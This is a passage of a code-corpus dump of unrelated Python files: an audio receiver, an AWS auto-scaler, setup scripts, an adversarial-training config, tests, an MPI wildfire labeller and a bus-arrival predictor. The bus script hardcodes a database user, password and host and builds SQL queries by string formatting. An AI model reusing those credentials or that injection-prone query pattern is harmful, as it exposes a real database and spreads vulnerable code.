window=('kaiser', beta))\n return( sg.lfilter(taps, 1.0, signal))\n\n def main(self):\n audio = self.record()\n freqaudiox, freqaudioy = self.calcFFT(audio)\n\n t1,c1 = self.carFrequencies(audio, 9000)\n t2,c2 = self.carFrequencies(audio, 17000)\n\n demoaudio1 = c1 * audio\n demoaudio2 = c2 * audio\n fdemoaudio1x, fdemoaudio1y = self.calcFFT(demoaudio1)\n fdemoaudio2x, fdemoaudio2y = self.calcFFT(demoaudio2)\n\n fig, (ax1,ax2) = plt.subplots(1,2,figsize=(15,5))\n ax1.plot(fdemoaudio1x,fdemoaudio1y)\n ax2.plot(fdemoaudio2x,fdemoaudio2y)\n plt.show()\n\n demoaudio1_filtrada = self.LPF(demoaudio1 ,self.fc, self.fs)\n demoaudio2_filtrada = self.LPF(demoaudio2 ,self.fc, self.fs) \n\n # fig, (ax1,ax2) = plt.subplots(1,2,figsize=(15,5))\n # ax1.plot(fdemoaudio1x,demoaudio1_filtrada)\n # ax2.plot(fdemoaudio2x,demoaudio2_filtrada)\n # plt.show() \n\n # sd.play(demoaudio1,self.fs)\n # sd.wait()\n sd.play(demoaudio1_filtrada,self.fs)\n sd.wait()\n sd.play(demoaudio2_filtrada, self.fs)\n sd.wait()\n\nif __name__ == \"__main__\":\n\treceptor = Receptor()\n\treceptor.main()\n","sub_path":"modulador/receptor.py","file_name":"receptor.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"142033095","text":"import sys\nimport os\ndir_path = os.path.dirname(os.path.realpath(__file__))\nsys.path.append('../../')\nsys.path.append(dir_path)\nsys.path.append('/home/ubuntu/Desktop/ece1779_lab/A2/manager_app/')\nimport time\nfrom datetime import datetime, timedelta\nfrom config import Config\nfrom app.aws import AwsClient\nimport csv\nimport logging\n\ndef cpu_utils_avg(aws_client):\n target_instances = aws_client.get_target_instances()\n instance_ids = []\n cpu_sum = 0.0\n cpu_avg = 0.0\n point_counter = 0\n for instance in target_instances:\n start_time = datetime.utcnow() - timedelta(seconds = 2 * 60)\n end_time = datetime.utcnow()\n period = 60\n cpu_data = aws_client.get_cpu_utilization(instance['id'], start_time, end_time, period)\n for point in cpu_data:\n point_counter += 1\n cpu_sum += point[1]\n\n if int(point_counter) >= 1:\n cpu_avg = cpu_sum / float(point_counter)\n return cpu_avg\n\n return -1\n\n\ndef auto_scaling(aws_client):\n top_folder = Config.TOP_FOLDER\n policy_file_path = top_folder + '/app/auto-scaler/auto_scale.txt'\n pool_size_lower_bound = 1\n pool_size_upper_bound = 10\n\n cpu_grow_threshold = 0.0\n cpu_shrink_threshold = 0.0\n grow_ratio = 0.0\n shrink_ratio = 0.0\n auto_scale = 0\n\n if os.path.exists(policy_file_path): \n with open(policy_file_path, newline='') as csvfile:\n reader = csv.reader(csvfile, delimiter = ',')\n for row in reader:\n cpu_grow_threshold = float(row[0])\n cpu_shrink_threshold = float(row[1])\n grow_ratio = float(row[2])\n shrink_ratio = float(row[3])\n auto_scale = int(row[4])\n else:\n logging.error('No policy file found')\n return None\n\n if int(auto_scale) == 1:\n target_instances = aws_client.get_target_instances()\n pool_size = len(target_instances)\n cpu_avg = cpu_utils_avg(aws_client = aws_client)\n # no valid instances\n logging.info('Avg CPU util is {}'.format(cpu_avg))\n logging.info('Current worker pool size is {}'.format(pool_size))\n if cpu_avg == -1:\n logging.error('No valid workers in the pool')\n return None\n # grow\n elif cpu_avg > cpu_grow_threshold:\n num_to_grow = int(pool_size * (grow_ratio - 1))\n if int(pool_size) >= pool_size_upper_bound:\n logging.warning('Pool size already exceeds the limit')\n return None\n elif int(pool_size + num_to_grow) >= pool_size_upper_bound:\n logging.warning('Grow to the limit')\n response = aws_client.grow_worker_by_some(int(pool_size_upper_bound - pool_size))\n logging.warning('Status are {}'.format(response))\n return 'Success'\n else:\n logging.warning('Grow {} instances'.format(num_to_grow))\n response = aws_client.grow_worker_by_some(num_to_grow)\n logging.warning('Status are {}'.format(response))\n return 'Success'\n # shrink\n elif cpu_avg < cpu_shrink_threshold:\n num_to_shrink = int(pool_size) - int(pool_size / shrink_ratio)\n if int(pool_size) <= pool_size_lower_bound:\n logging.warning('Pool size cannot be smaller')\n return None\n elif int(pool_size - num_to_shrink) <= pool_size_lower_bound:\n logging.warning('Shrink to the limit')\n response = aws_client.shrink_worker_by_some(int(pool_size - pool_size_lower_bound))\n logging.warning('Status are {}'.format(response))\n return 'Success'\n else:\n logging.warning('Shrink {} instances'.format(num_to_shrink))\n response = aws_client.shrink_worker_by_some(num_to_shrink)\n logging.warning('Status are {}'.format(response))\n return 'Success'\n else:\n logging.warning('Nothing changes')\n return None\n else:\n logging.error('Auto Scaling is not enabled')\n return None\n \n\nif __name__ == '__main__':\n # initiate an aws client\n aws_client = AwsClient(\n access_key_id = Config.ACCESS_KEY_ID, \n secrete_key = Config.SECRET_KEY, \n region = Config.REGION, \n template_id = Config.TEMPLATE_ID, \n target_arn = Config.TARGET_ARN,\n elb_dns = Config.ELB_DNS)\n # start auto-scaling\n logging.getLogger().setLevel(logging.INFO)\n while True:\n response = auto_scaling(aws_client)\n if response == 'Success':\n # wait for 3 minutes, otherwise unstable\n logging.info('Grow or shrink successfully, wait for 5 min')\n time.sleep(300)\n else:\n time.sleep(60)\n","sub_path":"A2/manager_app/app/auto-scaler/auto_scaler.py","file_name":"auto_scaler.py","file_ext":"py","file_size_in_byte":4865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"419707987","text":"import functools, time\n\ndef timer_init(log):\n\n\tdef timer_wrapper(wrapped):\n\n\t\t@functools.wraps(wrapped)\n\t\tdef _wrapper(*args, **kwargs):\n\t\t\tbegin = time.time()\n\t\t\tresult = wrapped(*args, **kwargs)\n\t\t\tend = time.time()\n\t\t\ttotal = end - begin\n\t\t\tlog.log(\"Function %s took %s seconds\" % (wrapped.__name__, '%.5f' % total))\n\n\t\t\treturn result\n\t\treturn _wrapper\n\n\treturn timer_wrapper\n\ndef parse_timer_log(logfile):\n\tf = open(logfile)\n\tfunctimes = {}\n\tfor line in f.readlines():\n\t\tif \"+0000('Function\" in line:\n\t\t\tif line.split()[3] not in functimes: functimes[line.split()[3]] = [0, 0, 0.0]\n\t\t\tcount, avg, highest = functimes[line.split()[3]]\n\t\t\tif float(line.split()[5]) > highest:\n\t\t\t\thighest = float(line.split()[5])\n\t\t\tfunctimes[line.split()[3]] = [count + 1, (avg * count + float(line.split()[5])) / (count + 1), highest]\n\treturn functimes\n\ndef total_impact(result):\n\tif isinstance(result, str):\n\t\tresult = parse_timer_log(result)\n\ttotal = 0\n\tfor x in result: total += result[x][0] * result[x][1]\n\n\tresults = []\n\tfor x in result:\n\t\tresults.append([x, int((result[x][0] * result[x][1] * 100) / total)])\n\n\treturn sorted(results, key=lambda x: x[1], reverse=True)\n","sub_path":"credits/timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"442567305","text":"#!/usr/bin/env python\n# Author: Lisandro Dalcin\n# Contact: dalcinl@gmail.com\n\n__doc__ = \\\n\"\"\"\nPython bindings for MPI\n\"\"\"\n\nimport os\nimport sys\nimport glob\n\ntopdir = os.path.abspath(os.path.dirname(__file__))\nsys.path.insert(0, os.path.join(topdir, 'conf'))\n\n# --------------------------------------------------------------------\n# Metadata\n# --------------------------------------------------------------------\n\ndef get_name():\n name = 'mpi4py'\n suffix = os.environ.get('MPI4PY_DIST_SUFFIX')\n if suffix:\n name = '{name}-{suffix}'.format(**vars())\n return name\n\ndef get_version():\n import getversion\n try:\n return get_version.result\n except AttributeError:\n pass\n version = getversion.version()\n get_version.result = version\n return version\n\ndef description():\n return __doc__.strip()\n\ndef long_description():\n filelist = ('DESCRIPTION.rst', 'CITATION.rst', 'INSTALL.rst')\n template = \"See `{0} <{0}>`_.\\n\\n\"\n template += \".. include:: {0}\\n\"\n text = template.format(filelist[0])\n for filename in filelist:\n with open(os.path.join(topdir, filename)) as f:\n includeline = template.format(filename)\n text = text.replace(includeline, f.read())\n return text\n\ndef homepage():\n return 'https://mpi4py.github.io'\n\ndef github(*args):\n base = 'https://github.com/mpi4py/mpi4py'\n return '/'.join((base,) + args)\n\ndef readthedocs(*args):\n base = 'https://mpi4py.readthedocs.io'\n return '/'.join((base,) + args)\n\ndef download_url():\n version = get_version().partition('+')[0]\n if '.dev' in version:\n path = 'tarball'\n archive = 'master'\n else:\n path = 'releases/download/{0}'.format(version)\n archive = 'mpi4py-{0}.tar.gz'.format(version)\n return github(path, archive)\n\ndef documentation_url():\n version = get_version().partition('+')[0]\n language = 'en'\n location = 'latest' if '.dev' in version else version\n return readthedocs(language, location, '')\n\nclassifiers = \"\"\"\nDevelopment Status :: 5 - Production/Stable\nIntended Audience :: Developers\nIntended Audience :: Science/Research\nLicense :: OSI Approved :: BSD License\nOperating System :: MacOS\nOperating System :: MacOS :: MacOS X\nOperating System :: Microsoft :: Windows\nOperating System :: POSIX\nOperating System :: POSIX :: BSD\nOperating System :: POSIX :: Linux\nOperating System :: Unix\nProgramming Language :: C\nProgramming Language :: Cython\nProgramming Language :: Python\nProgramming Language :: Python :: 3\nProgramming Language :: Python :: 3 :: Only\nProgramming Language :: Python :: 3.6\nProgramming Language :: Python :: 3.7\nProgramming Language :: Python :: 3.8\nProgramming Language :: Python :: 3.9\nProgramming Language :: Python :: 3.10\nProgramming Language :: Python :: 3.11\nProgramming Language :: Python :: 3.12\nProgramming Language :: Python :: Implementation :: CPython\nProgramming Language :: Python :: Implementation :: PyPy\nTopic :: Scientific/Engineering\nTopic :: Software Development :: Libraries :: Python Modules\nTopic :: System :: Distributed Computing\n\"\"\"\n\nkeywords = \"\"\"\nscientific computing\nparallel computing\nmessage passing interface\nMPI\n\"\"\"\n\nplatforms = \"\"\"\nPOSIX\nLinux\nmacOS\nFreeBSD\nWindows\n\"\"\"\n\nmetadata = {\n 'name' : get_name(),\n 'version' : get_version(),\n 'description' : description(),\n 'long_description' : long_description(),\n 'url' : homepage(),\n 'download_url' : download_url(),\n 'classifiers' : classifiers.strip().split('\\n'),\n 'keywords' : keywords.strip().split('\\n'),\n 'platforms' : platforms.strip().split('\\n'),\n 'license' : 'BSD-2-Clause',\n 'author' : 'Lisandro Dalcin',\n 'author_email' : 'dalcinl@gmail.com',\n}\n\nrequire_python = (3, 6)\nmaxknow_python = (3, 12)\n\nmetadata_extra = {\n 'project_urls': {\n \"Source Code\" : github(),\n \"Bug Tracker\" : github('issues'),\n \"Discussions\" : github('discussions'),\n \"Documentation\" : documentation_url(),\n },\n 'python_requires': '>=' + '.'.join(map(str, require_python)),\n 'long_description_content_type': 'text/x-rst',\n}\n\n# --------------------------------------------------------------------\n# Extension modules\n# --------------------------------------------------------------------\n\ndef sources():\n # mpi4py.MPI\n MPI = dict(\n source='src/mpi4py/MPI.pyx',\n depends=[\n 'src/mpi4py/*.pyx',\n 'src/mpi4py/*.pxd',\n 'src/mpi4py/MPI/*.pyx',\n 'src/mpi4py/MPI/*.pxd',\n 'src/mpi4py/MPI/*.pxi',\n ],\n )\n #\n return [MPI]\n\n\ndef extensions():\n import mpidistutils\n # MPI extension module\n MPI = dict(\n name='mpi4py.MPI',\n sources=['src/mpi4py/MPI.c'],\n depends=(\n glob.glob('src/*.h') +\n glob.glob('src/lib-mpi/*.h') +\n glob.glob('src/lib-mpi/config/*.h') +\n glob.glob('src/lib-mpi/compat/*.h')\n ),\n include_dirs = ['src'],\n define_macros=[\n ('MPICH_SKIP_MPICXX', 1),\n ('OMPI_SKIP_MPICXX', 1),\n ],\n configure=mpidistutils.configure_mpi,\n )\n if sys.version_info[:2] > maxknow_python:\n api = '0x{:02x}{:02x}0000'.format(*maxknow_python)\n MPI['define_macros'].extend([\n ('CYTHON_LIMITED_API', api),\n ])\n if os.environ.get('CIBUILDWHEEL') == '1':\n MPI['define_macros'].extend([\n ('CIBUILDWHEEL', 1),\n ])\n #\n return [MPI]\n\n\ndef executables():\n import mpidistutils\n # MPI-enabled Python interpreter\n pyexe = dict(\n name='python-mpi',\n optional=True,\n package='mpi4py',\n dest_dir='bin',\n sources=['src/python.c'],\n configure=mpidistutils.configure_pyexe,\n )\n #\n return [pyexe]\n\n\n# --------------------------------------------------------------------\n# Setup\n# --------------------------------------------------------------------\n\npackage_info = dict(\n packages = [\n 'mpi4py',\n 'mpi4py.futures',\n 'mpi4py.util',\n ],\n package_data = {\n 'mpi4py' : [\n '*.pxd',\n 'MPI*.h',\n 'include/mpi4py/*.h',\n 'include/mpi4py/*.i',\n 'include/mpi4py/*.pxi',\n 'py.typed',\n '*.pyi',\n '*/*.pyi',\n ],\n },\n package_dir = {'' : 'src'},\n)\nif sys.version_info < (3, 8):\n del package_info['package_data']['mpi4py'][-3:]\n\n\ndef run_setup():\n \"\"\"\n Call setuptools.setup(*args, **kwargs)\n \"\"\"\n try:\n import setuptools\n except ImportError as exc:\n setuptools = None\n if sys.version_info >= (3, 12):\n sys.exit(exc)\n from mpidistutils import setup\n from mpidistutils import Extension as Ext\n from mpidistutils import Executable as Exe\n #\n from mpidistutils import build_src\n build_src.sources = sources()\n #\n builder_args = dict(\n ext_modules = [Ext(**ext) for ext in extensions()],\n executables = [Exe(**exe) for exe in executables()],\n )\n if setuptools:\n builder_args['zip_safe'] = False\n metadata.update(metadata_extra)\n #\n setup_args = dict(i for d in (\n metadata,\n package_info,\n builder_args,\n ) for i in d.items())\n #\n setup(**setup_args)\n\n\ndef run_skbuild():\n \"\"\"\n Call setuptools.setup(*args, **kwargs)\n \"\"\"\n from setuptools import setup\n #\n builder_args = dict(\n cmake_source_dir = '.',\n )\n metadata.update(metadata_extra)\n #\n setup_args = dict(i for d in (\n metadata,\n package_info,\n builder_args,\n ) for i in d.items())\n #\n setup(**setup_args)\n\n\n# --------------------------------------------------------------------\n\n\ndef main():\n try:\n import builder\n name = builder.get_build_backend_name()\n except RuntimeError as exc:\n sys.exit(exc)\n\n if name == 'setuptools':\n run_setup()\n if name == 'skbuild':\n run_skbuild()\n\n\nif __name__ == '__main__':\n if sys.version_info < require_python:\n raise SystemExit(\n \"error: requires Python version \" +\n metadata_extra['python_requires']\n )\n main()\n\n\n# --------------------------------------------------------------------\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":8380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"232913027","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2018 Esteban J. G. Gabancho.\n#\n# LogBook is free software; you can redistribute it and/or modify it\n# under the terms of the MIT License; see LICENSE file for more details.\n\n\"\"\"LogBook.\"\"\"\n\nimport os\n\nfrom setuptools import find_packages, setup\n\nreadme = open('README.rst').read()\n\nINVENIO_VERSION = \"3.0.0\"\n\npackages = find_packages()\n\n\n# Get the version string. Cannot be done with import!\ng = {}\nwith open(os.path.join('logbook', 'version.py'), 'rt') as fp:\n exec(fp.read(), g)\n version = g['__version__']\n\nsetup(\n name='logbook',\n version=version,\n description=__doc__,\n long_description=readme,\n keywords='logbook Invenio',\n license='MIT',\n author='Esteban J. G. Gabancho',\n author_email='egabancho@gmail.com',\n url='https://github.com/egabancho/logbook',\n packages=packages,\n zip_safe=False,\n include_package_data=True,\n platforms='any',\n entry_points={\n 'console_scripts': [\n 'logbook = invenio_app.cli:cli',\n ],\n 'invenio_base.blueprints': [\n 'logbook = logbook.views:blueprint',\n ],\n 'invenio_config.module': [\n 'logbook = logbook.config',\n ],\n 'invenio_i18n.translations': [\n 'messages = logbook',\n ]\n },\n classifiers=[\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Development Status :: 3 - Alpha',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"143613081","text":"# from easydict import EasyDict\nimport sys\nimport os\nimport argparse\nimport numpy as np\nimport torch\n\nfrom lib.training.config import TrainingConfigBase, SGDOptimizerMaker, \\\n PieceWiseConstantLrSchedulerMaker, IPGDAttackMethodMaker\n\n\nclass TrainingConfig(TrainingConfigBase):\n abs_current_path = os.path.realpath('./')\n root_path = os.path.join('/', *abs_current_path.split(os.path.sep)[:-3])\n lib_dir = os.path.join(root_path, 'lib')\n\n num_epochs = 105\n eval_interval = 15\n\n create_optimizer = SGDOptimizerMaker(lr=1e-1, momentum=0.9, weight_decay=2e-4)\n create_lr_scheduler = PieceWiseConstantLrSchedulerMaker(milestones=[75, 90, 100], gamma=0.1)\n\n create_loss_function = torch.nn.CrossEntropyLoss\n\n create_attack_method = \\\n IPGDAttackMethodMaker(eps=8 / 255.0, sigma=2 / 255.0, nb_iters=20, norm=np.inf,\n mean=torch.tensor(\n np.array([0]).astype(np.float32)[np.newaxis, :, np.newaxis, np.newaxis]),\n std=torch.tensor(np.array([1]).astype(np.float32)[np.newaxis, :, np.newaxis, np.newaxis]))\n\n create_evaluation_attack_method = \\\n IPGDAttackMethodMaker(eps=8 / 255.0, sigma=2 / 255.0, nb_iters=20, norm=np.inf,\n mean=torch.tensor(\n np.array([0]).astype(np.float32)[np.newaxis, :, np.newaxis, np.newaxis]),\n std=torch.tensor(np.array([1]).astype(np.float32)[np.newaxis, :, np.newaxis, np.newaxis]))\n\n\nconfig = TrainingConfig()\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--resume', default=None, type=str, metavar='PATH',\n help='path to latest checkpoint (default: none)')\nparser.add_argument('-b', '--batch_size', default=200, type=int,\n metavar='N', help='mini-batch size')\nparser.add_argument('-d', type=int, default=0, help='Which gpu to use')\nparser.add_argument('-adv_coef', default=1.0, type=float,\n help='Specify the weight for adversarial loss')\nparser.add_argument('--auto-continue', default=False, action='store_true',\n help='Continue from the latest checkpoint')\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n pass\n","sub_path":"experiments/cifar10/wide34_pgd10/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"142785389","text":"\"\"\"The waze_travel_time component.\"\"\"\nimport asyncio\n\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import HomeAssistant\n\nPLATFORMS = [\"sensor\"]\n\n\nasync def async_setup_entry(hass: HomeAssistant, config_entry: ConfigEntry) -> bool:\n \"\"\"Load the saved entities.\"\"\"\n for platform in PLATFORMS:\n hass.async_create_task(\n hass.config_entries.async_forward_entry_setup(config_entry, platform)\n )\n\n return True\n\n\nasync def async_unload_entry(hass: HomeAssistant, config_entry: ConfigEntry) -> bool:\n \"\"\"Unload a config entry.\"\"\"\n return all(\n await asyncio.gather(\n *[\n hass.config_entries.async_forward_entry_unload(config_entry, platform)\n for platform in PLATFORMS\n ]\n )\n )\n","sub_path":"homeassistant/components/waze_travel_time/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"524401783","text":"# -*- coding: utf-8 -*-\nimport unittest,time\nimport ddt\nfrom practice.two.TestCase import TestCase\nfrom practice.one.Log import Log\n\n@ddt.ddt\nclass SuiteTestcase(unittest.TestCase):\n a = 1\n @classmethod\n def setUpClass(cls):\n #创建TestCase类的对象\n cls.t = TestCase()\n\n # @unittest.skip('skipping')\n def test01_screenshot(self):\n print('#########start######### test_screenshot')\n SuiteTestcase.t.Screenshot()\n\n @ddt.file_data(\"test_data_list.json\")\n def test02_SogouScreenShot_ddt(self,value):\n print('#########start######### test_SogouScreenShot')\n testdata, expectdata = tuple(value.strip().split(\",\"))\n print(testdata,expectdata)\n print(value)\n SuiteTestcase.t.SogouScreenShot_ddt(testdata,expectdata)\n\n def test03_SogouScreenShot_data(self):\n print('#########start######### test_SogouScreenShot')\n SuiteTestcase.t.SogouScreenShot_data()\n\n @classmethod\n def tearDownClass(cls):\n SuiteTestcase.t.quit()\n\n# if __name__=='__main__':\n# suite = unittest.TestSuite()\n# suite.addTest(SuiteTestcase(\"test_screenshot\"))\n# # suite.addTest(SuiteTestcase(\"test_SogouScreenShot\"))\n# runner = unittest.TextTestRunner()\n# runner.run(suite)\n\n","sub_path":"wenjian/practice/two/TestSuite.py","file_name":"TestSuite.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"361496359","text":"#!/usr/bin/env python3\nimport os, sys\nfrom mpi4py import MPI\nimport argparse\nimport json\n\nimport datetime as dt\n\nimport logging\nsys.path.append(os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))\n\nfrom wildfire import wildfire\nfrom wildfire.goes import utilities\n\n_logger = logging.getLogger(__name__)\n\n# Open MPI communiciation\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank() # process rank\nsize = comm.Get_size() # number of processes \nname = MPI.Get_processor_name()\n\nDATETIME_FORMAT = \"%Y-%m-%dT%H:%M:%S\"\nWILDFIRE_FILENAME = \"wildfires_{satellite}_{region}_s{start}_e{end}_c{created}.json\"\n\n\n# first process gets file paths to pass out to worker nodes\nif rank == 0:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--satellite\", default='noaa-goes17', type=str)\n parser.add_argument(\"--region\", default='M1', type=str)\n parser.add_argument(\"--start\", default='2019-10-31T22:00:00', type=str)\n parser.add_argument(\"--end\", default='2019-10-31T23:00:00', type=str)\n parser.add_argument(\"--goes_directory\", default='../downloaded_data', type=str)\n parser.add_argument(\"--wildfires_directory\", default='../labeled_wildfires', type=str)\n args = parser.parse_args()\n\n start_time = dt.datetime.strptime(args.start, DATETIME_FORMAT)\n end_time = dt.datetime.strptime(args.end, DATETIME_FORMAT)\n\n filepaths = utilities.list_local_files(local_directory=args.goes_directory,\n satellite=args.satellite,\n region=args.region,\n start_time=start_time,\n end_time=end_time\n )\n filepaths = utilities.group_filepaths_into_scans(filepaths=filepaths)\nelse:\n filepaths = None\n\n\n# send filepaths to each process\nfilepaths = comm.bcast(filepaths, root=0)\n\n\nn_scans = len(filepaths)\n_logger.info(f\"Number of scans locally: {n_scans}\")\n\ncollect_fires = []\n# loop through scans\nfor i, scan_files in enumerate(filepaths):\n # split by process\n if i % size == rank:\n try:\n scan_fires = wildfire.parse_scan_for_wildfire(scan_files) # dict\n if scan_fires is not None:\n collect_fires.append(scan_fires)\n except (OSError, ValueError) as error_message:\n _logger.warning(\n \"\\nSkipping malformed goes_scan comprised of %s.\\nError: %s\",\n scan_files,\n error_message,\n )\n\n\n# send all fires to root node\nall_fires = comm.gather(collect_fires, root=0)\n\nif rank == 0:\n # make a large list of all fires\n all_fires = [fire for rank_fires in all_fires for fire in rank_fires]\n\n wildfires_filepath = os.path.join(\n args.wildfires_directory,\n WILDFIRE_FILENAME.format(\n satellite=args.satellite,\n region=args.region,\n start=start_time.strftime(DATETIME_FORMAT),\n end=end_time.strftime(DATETIME_FORMAT),\n created=dt.datetime.utcnow().strftime(DATETIME_FORMAT),\n ),\n )\n _logger.info(\"Persisting wildfires to %s\" % wildfires_filepath)\n with open(wildfires_filepath, \"w+\") as buffer:\n json.dump(dict(enumerate(all_fires)), buffer)\n","sub_path":"bin/label_wildfires.mpi.py","file_name":"label_wildfires.mpi.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"362984738","text":"try:\n import pymysql\n pymysql.install_as_MySQLdb()\nexcept:\n pass\nfrom datetime import timedelta\nfrom .model_prototype_1 import model\nimport pandas as pd\npd.options.mode.chained_assignment = None\nfrom sklearn.externals import joblib\nfrom dateutil import parser\nfrom datetime import datetime\n\ndef day(date):\n weekday = datetime.weekday(parser.parse(date))\n if weekday < 5:\n weekday = 'business_day'\n elif weekday == 5:\n weekday = 'saturday'\n elif weekday == 6:\n weekday = 'sunday'\n return weekday\n\ndef get_all_stops(time, bus_route, source_stop, destination_stop, date, direction):\n holiday = holidays(date)\n p_holiday = holiday[0]\n s_holiday = holiday[1]\n direction = direction\n\n query_day = day(date)\n if p_holiday:\n query_day = 'sunday'\n db = pymysql.connect(user='lucas', db='summerProdb', passwd='hello_world', host='csi6220-3-vm3.ucd.ie')\n cursor = db.cursor()\n rows1 = ()\n sql1 = \"\"\"SELECT bus_timetable.trip_id\n FROM bus_timetable WHERE bus_timetable.arrival_time >= time_format('{q1time}','%T')\n AND bus_timetable.route_id = '{qbus_route}'\n AND bus_timetable.stop_id = '{qsource_stop}'\n AND bus_timetable.day_of_week = '{qquery_day}'\n AND bus_timetable.direction = '{qdirection}'\n ORDER BY bus_timetable.arrival_time ASC\n LIMIT 3\"\"\"\n\n cursor = db.cursor()\n while rows1 == ():\n cursor.execute(sql1.format(q1time=str(time),qbus_route=str(bus_route),\\\n qsource_stop=str(source_stop), qquery_day=str(query_day), qdirection=str(direction)))\n rows1 = cursor.fetchall()\n if direction == 0:\n direction = 1\n elif direction == 1:\n direction = 0\n\n # Create query for the first prediction\n sql2 = \"\"\"SELECT time_format(bus_timetable.arrival_time,'%T') , bus_timetable.stop_id, bus_timetable.stop_sequence, bus_stops.long_name, bus_timetable.accum_dist\n FROM bus_timetable, bus_stops WHERE trip_id = '{qtrip_id}'\n AND bus_timetable.arrival_time >= '{q2time}' AND bus_timetable.stop_id = bus_stops.stop_id\n ORDER BY bus_timetable.stop_sequence\"\"\"\n\n cursor = db.cursor()\n cursor.execute(sql2.format(qtrip_id=str(rows1[0][0]),q2time=str(time)))\n rows2 = cursor.fetchall()\n # create query for the second prediction\n sql3 = \"\"\"SELECT time_format(bus_timetable.arrival_time,'%T') , bus_timetable.stop_id, bus_timetable.stop_sequence, bus_stops.long_name, bus_timetable.accum_dist\n FROM bus_timetable, bus_stops WHERE trip_id = '{qtrip_id}'\n AND bus_timetable.arrival_time >= '{q2time}' AND bus_timetable.stop_id = bus_stops.stop_id\n ORDER BY bus_timetable.stop_sequence\"\"\"\n\n cursor = db.cursor()\n cursor.execute(sql3.format(qtrip_id=str(rows1[1][0]),q2time=str(time)))\n rows3 = cursor.fetchall()\n # create query for the third prediction\n sql4 = \"\"\"SELECT time_format(bus_timetable.arrival_time,'%T') , bus_timetable.stop_id, bus_timetable.stop_sequence, bus_stops.long_name, bus_timetable.accum_dist\n FROM bus_timetable, bus_stops WHERE trip_id = '{qtrip_id}'\n AND bus_timetable.arrival_time >= '{q2time}' AND bus_timetable.stop_id = bus_stops.stop_id\n ORDER BY bus_timetable.stop_sequence\"\"\"\n cursor = db.cursor()\n cursor.execute(sql4.format(qtrip_id=str(rows1[2][0]),q2time=str(time)))\n rows4 = cursor.fetchall()\n db.close()\n \n # get the three predictions for the data model.\n stops1 = src_dest_list(rows2, source_stop, destination_stop)\n stops2 = src_dest_list(rows3, source_stop, destination_stop)\n stops3 = src_dest_list(rows4, source_stop, destination_stop)\n return [rows1, stops1, stops2, stops3]\n\n\ndef src_dest_list(rows, source, dest):\n stops = []\n found = False\n for i in rows:\n if str(i[1]) == str(source):\n found = True\n if found:\n stops.append([i[1], i[0], i[3], i[4]])\n if str(i[1]) == str(dest):\n break\n return stops\n\n\ndef holidays(date):\n publicholidays_2017 = ['2017-08-07', '2017-10-30', '2017-12-25', '2017-12-26',\n '2017-12-27']\n schoolholidays_2017 = ['2017-07-07', '2017-08-07', '2017-09-07', '2017-10-07',\n '2017-11-07', '2017-12-07', '2017-07-13', '2017-07-14',\n '2017-07-15', '2017-07-16', '2017-07-17', '2017-07-18',\n '2017-07-19', '2017-07-20', '2017-07-21', '2017-07-22',\n '2017-07-23', '2017-07-24', '2017-07-25', '2017-07-26',\n '2017-07-27', '2017-07-28', '2017-07-29', '2017-07-30',\n '2017-07-31', '2017-01-08', '2017-02-08', '2017-03-08',\n '2017-04-08', '2017-05-08', '2017-06-08', '2017-07-08',\n '2017-08-08', '2017-09-08', '2017-10-08', '2017-11-08',\n '2017-12-08', '2017-08-13', '2017-08-14', '2017-08-15',\n '2017-08-16', '2017-08-17', '2017-08-18', '2017-08-19',\n '2017-08-20', '2017-08-21', '2017-08-22', '2017-08-23',\n '2017-08-24', '2017-08-25', '2017-08-26', '2017-08-27',\n '2017-08-28', '2017-08-29', '2017-08-30', '2017-08-31',\n '2017-10-28', '2017-10-29', '2017-10-30', '2017-10-31',\n '2017-01-11', '2017-02-11', '2017-03-11', '2017-04-11',\n '2017-05-11', '2017-12-23', '2017-12-24', '2017-12-25',\n '2017-12-26', '2017-12-27', '2017-12-28', '2017-12-29',\n '2017-12-30', '2017-12-31']\n date = date[6:10] + '-' + date[3:5] + '-' + date[:2]\n p_holiday = False\n s_holiday = False\n if date in publicholidays_2017:\n p_holiday = True\n if date in schoolholidays_2017:\n s_holiday = True\n return p_holiday, s_holiday\n\ndef time_to_arrive(datetime, sec):\n new_time = datetime + timedelta(seconds=sec)\n new_time = new_time.strftime('%d/%m/%Y %H:%M:%S')\n return new_time\n\ndef time_date(bus_route, source_stop, destination_stop, date, time, direction, stops, trip_id):\n with open(\"C:\\\\Users\\\\lucas\\\\Desktop\\\\trained_modelv9.pkl\", \"rb\") as f:\n rtr = joblib.load(f)\n holiday = holidays(date)\n p_holiday = holiday[0]\n s_holiday = 